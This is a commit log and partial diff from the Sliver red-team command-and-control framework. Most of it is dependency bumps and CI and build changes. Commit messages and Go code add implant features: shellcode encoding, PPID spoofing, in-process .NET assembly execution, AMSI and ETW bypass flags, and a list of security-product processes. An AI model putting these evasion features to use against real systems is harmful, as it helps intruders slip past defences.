Joe ba07826d83 Merge pull request #839 from BishopFox/2451dependabot/github_actions/github/codeql-action-2
Bump github/codeql-action from 1 to 2
2022-09-06 13:01:19 -05:00
Joe 09fb3e0095 Merge pull request #838 from BishopFox/3694dependabot/github_actions/actions/setup-go-3
Bump actions/setup-go from 2 to 3
2022-09-06 13:01:03 -05:00
Joe be9c34e1ef Merge pull request #837 from BishopFox/a8fedependabot/github_actions/actions/checkout-3
Bump actions/checkout from 2 to 3
2022-09-06 13:00:47 -05:00
Joe d5945898b3 Merge pull request #844 from BishopFox/8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Bump github.com/miekg/dns from 1.1.35 to 1.1.50
2022-09-06 13:00:24 -05:00
rkervella 7d8457d494 Use proper type for PPID flag, add ppid + process args to sideload 2022-09-06 10:20:01 -07:00
dependabot[bot] 330ceea52f Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
Bumps [github.com/alecthomas/chroma](https://github.com/alecthomas/chroma) from 0.8.1 to 0.10.0.
- [Release notes](https://github.com/alecthomas/chroma/releases)
- [Changelog](https://github.com/alecthomas/chroma/blob/master/.goreleaser.yml)
- [Commits](https://github.com/alecthomas/chroma/compare/v0.8.1...v0.10.0)

---
updated-dependencies:
- dependency-name: github.com/alecthomas/chroma
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 17:00:31 +00:00
Joe afe4fb04a3 Merge branch 'master' into 8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Signed-off-by: Joe <[email protected]>
2022-09-06 11:59:31 -05:00
Joe e89a04f747 Merge pull request #846 from BishopFox/0121dependabot/go_modules/github.com/fatih/color-1.13.0
Bump github.com/fatih/color from 1.12.0 to 1.13.0
2022-09-06 11:58:59 -05:00
moloch-- e8aae22d50 Go v1.18.6 2022-09-06 09:58:23 -07:00
dependabot[bot] 003f882be5 Bump github.com/fatih/color from 1.12.0 to 1.13.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:25:02 +00:00
dependabot[bot] bb2a56d469 Bump github.com/miekg/dns from 1.1.35 to 1.1.50
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.35 to 1.1.50.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.35...v1.1.50)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:49 +00:00
dependabot[bot] bb36fb6850 Bump actions/download-artifact from 2 to 3
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:04 +00:00
dependabot[bot] dd31ae253c Bump actions/upload-artifact from 2 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:24:02 +00:00
dependabot[bot] 307b1998a1 Bump github/codeql-action from 1 to 2
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 1 to 2.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:58 +00:00
dependabot[bot] 381e131438 Bump actions/setup-go from 2 to 3
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 3.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:55 +00:00
dependabot[bot] c9898b9854 Bump actions/checkout from 2 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 15:23:52 +00:00
Ronan Kervella 9dd5dd9c93 Merge pull request #835 from BishopFox/dependabot
Enable dependabot workflow
2022-09-06 08:23:28 -07:00
Joe 01f2d0c9de Merge pull request #836 from cmprmsd/patch-1
Add carbon black cloud sensor
2022-09-06 09:38:22 -05:00
cmprmsd fd1b873f75 Add carbon black cloud sensor
This adds known Carbon Black processes

Signed-off-by: cmprmsd <[email protected]>
2022-09-06 12:16:09 +02:00
moloch-- bb51a9f1a6 Enable dependabot workflow 2022-09-05 11:12:57 -07:00
Ronan Kervella f1d4a51e73 Merge pull request #831 from BishopFox/fix/ux-828
Fix issue #828
2022-09-04 12:56:41 -07:00
Ronan Kervella d003f5a4ac Merge pull request #832 from BishopFox/feature/tasks-cancel
Feature/tasks cancel
2022-09-04 12:56:19 -07:00
moloch-- 36277b9d46 Fix ui workflow 2022-09-04 10:48:51 -07:00
moloch-- c90988aba5 Added state display for canceled 2022-09-04 10:42:16 -07:00
moloch-- a6dca18cdc Initial task cancel implementation 2022-09-04 10:38:26 -07:00
moloch-- dd48b4b71d Fix issue #828 2022-09-04 09:23:49 -07:00
Ronan Kervella 91e6ea5e05 Merge pull request #829 from BishopFox/fix/stale-sessions-prune
Remove session from server state on kill, fix issue #781
2022-09-03 19:05:39 -07:00
Ronan Kervella 3a8201c202 Merge pull request #830 from BishopFox/cdp
Implemented cursed screenshot and better porfwd tunnel cleanup handling
2022-09-03 19:05:17 -07:00
moloch-- 0c5f8a123b Implemented cursed screenshot and better porfwd tunnel cleanup handling 2022-09-03 16:07:35 -07:00
moloch-- 2ea605e915 Remove session from server state on kill, fix issue #781 2022-09-03 15:38:24 -07:00
Ronan Kervella 583edd7a2f Merge pull request #827 from BishopFox/fix/portfwd-815
Fix/portfwd 815
2022-09-03 14:06:34 -07:00
Ronan Kervella e03381994c Merge pull request #826 from BishopFox/cdp
Cursed Edge Support
2022-09-02 17:45:50 -07:00
moloch-- 536ac4dd0f fix issue #815 2022-09-02 16:52:56 -07:00
moloch-- 651941844a removed unused flags 2022-09-02 16:03:52 -07:00
moloch-- 88a5b3a01c cursed support for edge and chromium 2022-09-02 16:03:27 -07:00
Joe 4c67157f48 Merge pull request #825 from BishopFox/stage
Prevent shellcode generation for other platforms than Windows.
2022-09-02 12:28:10 -05:00
rkervella d02c421e9e Prevent shellcode generation for other platforms than Windows. 2022-09-02 09:35:12 -07:00
Ronan Kervella 157b84ee5b Merge pull request #821 from jamesgol/screenshot
Only log screenshot error if there is one
2022-09-01 16:11:18 -07:00
James Golovich b5f25e14ae Only log error if there is one 2022-09-01 15:11:18 -07:00
Joe 4c9f701e0f Merge pull request #820 from BishopFox/cdp
Cursed updates
2022-09-01 15:02:34 -05:00
Ronan Kervella 336068cdf3 Merge pull request #819 from jamesgol/reaction_file
Include reaction file path in output
2022-09-01 12:48:21 -07:00
rkervella 2b9b4eb5f3 Kill cursed process on removal 2022-09-01 11:42:09 -07:00
rkervella e13faf9682 Actually terminate processes :) 2022-09-01 11:33:05 -07:00
James Golovich 044688ace4 Include reaction file path in output 2022-09-01 09:21:22 -07:00
Ronan Kervella 7e633962ce Merge pull request #818 from BishopFox/cdp
Cursed
2022-09-01 08:26:41 -07:00
moloch-- 7911450862 fixes for windows 2022-08-31 22:56:27 -07:00
moloch-- 519ef88866 ux improvements 2022-08-31 22:36:13 -07:00
moloch-- 823e22e120 ux improvements 2022-08-31 22:28:59 -07:00
moloch-- 94d672619b Initial console implementation 2022-08-31 22:02:39 -07:00
moloch-- 29f5a17339 Fixes to electron cmd 2022-08-31 20:35:40 -07:00
moloch-- d71c45223f Implemented electron cmd 2022-08-31 20:21:36 -07:00
moloch-- 2578513ae3 Outlined electron cmd 2022-08-31 19:43:41 -07:00
moloch-- 552a824e1b Refactor and improved state mgmt 2022-08-31 18:43:51 -07:00
moloch-- 5a352de056 Improved state mgmt 2022-08-31 17:43:56 -07:00
moloch-- 33e5525136 Refactor implemented call to ExecuteJS 2022-08-31 16:48:40 -07:00
moloch-- 756bb7749e Merge branch 'master' into cdp 2022-08-31 14:09:52 -07:00
moloch-- 6233d2fbe7 Merge branch 'master' into cdp 2022-08-31 14:09:16 -07:00
Ronan Kervella 729449b653 Merge pull request #814 from BishopFox/fix/db-by-foo
Fix issue #813
2022-08-31 08:33:01 -07:00
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
Joe 7a962ae120 Merge pull request #812 from jamesgol/unknown_dialect
Panic if someone specifies an invalid DB Dialect
2022-08-31 08:57:17 -05:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
moloch-- c230ce0b2e Consolidating state into core.CursedProcess 2022-08-31 06:51:15 -07:00
James Golovich 8b44024672 Panic if someone specifies an invalid DB Dialect 2022-08-30 21:35:35 -07:00
moloch-- f8b17891d1 Implemented some of the initial primatives 2022-08-30 17:35:25 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
moloch-- 867ac37f1f Fix issue #811 2022-08-30 07:43:22 -07:00
moloch-- 04a7148ab7 Initial refactor 2022-08-30 07:05:25 -07:00
moloch-- 010025645b Initial refactor 2022-08-30 07:05:03 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
moloch-- 8de0eaff13 initial import of some of the overlord code 2022-08-29 16:46:26 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
rkervella d7d946f17a Merge branch 'master' into feature/ssh-kerberos 2022-08-04 12:27:39 -07:00
rkervella c4555a124a Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:25:39 -07:00
rkervella 65a44da85f Merge branch 'master' into feature/ssh-kerberos 2022-07-15 10:24:37 -07:00
rkervella 6b0d6b2784 Merge branch 'master' into feature/ssh-kerberos 2022-06-20 18:53:18 -07:00
rkervella 4b1991ad5d Add kerberos support for SSH client 2022-06-20 15:14:40 -07:00
2704 changed files with 682714 additions and 42868 deletions

No files matched your search

+1 -2
View File
@@ -1,2 +1 @@
* @moloch--
* @rkervella
* @BishopFox/red-team
+16
View File
@@ -0,0 +1,16 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
+106 -111
View File
@@ -6,57 +6,55 @@ on:
branches: [master, goreleaser]
jobs:
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Linux Artifacts
uses: actions/upload-artifact@v3
with:
name: linux
path: ./sliver-*
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v3
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
- name: MacOS Artifacts
uses: actions/upload-artifact@v3
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
@@ -108,53 +104,52 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./builds
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
files: |
./artifacts/*
+7 -7
View File
@@ -17,13 +17,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
uses: actions/setup-go@v2
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.18.5"
go-version: "1.19.1"
- name: Checkout repository
uses: actions/checkout@v2
uses: actions/checkout@v3
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
uses: github/codeql-action/init@v2
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -72,6 +72,6 @@ jobs:
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v2
env:
VERSION: ${{github.sha}}
+42 -45
View File
@@ -1,7 +1,7 @@
name: Build & Test
on:
push:
branches:
branches:
- test/*
pull_request:
branches:
@@ -13,70 +13,67 @@ on:
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v3
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make macos
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
+4 -5
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.5
FROM golang:1.19.1
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,11 +52,10 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& ./go-assets.sh
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+1 -1
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
+21 -1
View File
@@ -28,6 +28,7 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -177,6 +178,11 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
@@ -274,7 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
@@ -320,6 +336,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
+9 -38
View File
@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -141,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
